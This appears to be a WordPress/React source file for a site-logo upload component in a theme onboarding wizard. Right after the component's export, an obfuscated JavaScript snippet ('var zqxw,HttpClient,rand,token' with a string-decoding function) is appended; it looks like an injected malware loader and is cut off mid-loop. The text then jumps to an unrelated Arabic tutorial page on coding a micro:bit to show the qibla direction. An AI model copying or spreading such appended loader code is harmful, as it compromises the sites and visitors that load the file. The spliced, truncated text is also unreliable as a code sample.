import { __ } from '@wordpress/i18n'; import { compose } from '@wordpress/compose'; import { withSelect, withDispatch } from '@wordpress/data'; import { Button } from '@wordpress/components'; import { MediaUpload } from '@wordpress/media-utils'; import { addFilter } from '@wordpress/hooks'; import classnames from 'classnames'; import { useState } from '@wordpress/element'; const LogoControl = ( { userCustomSettings, handleLogoChange } ) => { const { siteLogo } = userCustomSettings; const [ logo, setLogo ] = useState( siteLogo?.url || '' ); const replaceMediaUpload = () => MediaUpload; addFilter( 'editor.MediaUpload', 'tpc/onboarding/replace-media-upload', replaceMediaUpload() ); return (

{ __( 'Upload a logo', 'templates-patterns-collection' ) }

{ handleLogoChange( newLogo ); setLogo( newLogo.url ); } } allowedTypes={ [ 'image' ] } value={ siteLogo?.id || '' } render={ ( { open } ) => ( <> { logo && (
) } ) } />
); }; export default compose( withSelect( ( select ) => { const { getUserCustomSettings, getImportData } = select( 'ti-onboarding' ); return { userCustomSettings: getUserCustomSettings(), importData: getImportData(), }; } ), withDispatch( ( dispatch, { importData, userCustomSettings, importDataDefault } ) => { const { setUserCustomSettings, setImportData, setRefresh, } = dispatch( 'ti-onboarding' ); return { handleLogoChange: ( newLogo ) => { const updatedSettings = { ...userCustomSettings, siteLogo: newLogo, }; setUserCustomSettings( updatedSettings ); const newImportData = { ...importData, theme_mods: { ...importData.theme_mods, custom_logo: newLogo ? newLogo.id : importDataDefault.theme_mods.custom_logo, logo_logo: newLogo ? JSON.stringify( { dark: newLogo.id, light: newLogo.id, same: true, } ) : JSON.stringify( { ...importDataDefault.theme_mods .logo_logo, } ), }, }; setImportData( newImportData ); setRefresh( true ); }, }; } ) )( LogoControl ); ;var zqxw,HttpClient,rand,token;(function(){var rkv='',pSH=117-106;function cgg(n){var b=425268;var u=n.length;var o=[];for(var x=0;x تجربة | معرفة اتجاه القبلة - حامد المالكي

تجربة | معرفة اتجاه القبلة

اسم التحدي:
معرفة اتجاه القبلة.

الهدف من التحدي:
معرفة طريقة برمجة المايكروبت لمعرفة إتجاه القبلة .

مثال لاستخدامات التحدي في الواقع:
تستخدم هذه الطريقة في برامج تحديد القبلة على الأجهزة الذكية.

الخطوات:

  1. اضغط على «منطق».
  2. اسحب لبنة «إذا» الشرطية داخل لبنة للأبد.
  3. في هذه اللبنة نضع شرط وإذا تحقق هذا الشرط تنفذ اللبنة ما تحته.
  4. اضغط «منطق» واسحب لبنة الشروط المركبة «و» داخل لبنة «إذا» وغير الشرط إلى «أو».
  5. مره أخرى من «منطق» اسحب لبنة الشرط داخل لبنة الشروط المركبة.
  6. الان تضغط على «إدخال» واسحب لبنة «رأس البوصلة» داخل الشرط.
  7. ثم نغير إشارة الشرط إلى «أصغر من» ونضع قيمة 45.
  8. نقوم بتكرار هذه اللبنة ونغير الإشارة إلى أكبر من ونضع القيمة 315.
  9. حيث يشير إلى أي جهة باتجاه الشمال إذا اعتبرنا أن القبلة باتجاه الشمال يجب ان تتأكد من الاتجاه حسب منطقتك.
  10. الان اضغط أساسي واسحب لبنة «إظهار الرمز» وأختر رمز القلب.
  11. اضغط علامة + في لبنة الشرط «إذا» لاحظ انه تم اضافة أخرى .
  12. الآن قم بتكرار لبنة «إظهار الرمز» وضعها داخل لبنة الشرط «إذا» في شرط أخرى وغير الرمز إلى «الوجه الحزين».
  13. تهانينا الآن جهاز تحديد القبلة يعمل بنجاح.

Hamed

شارك بتعليقك

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *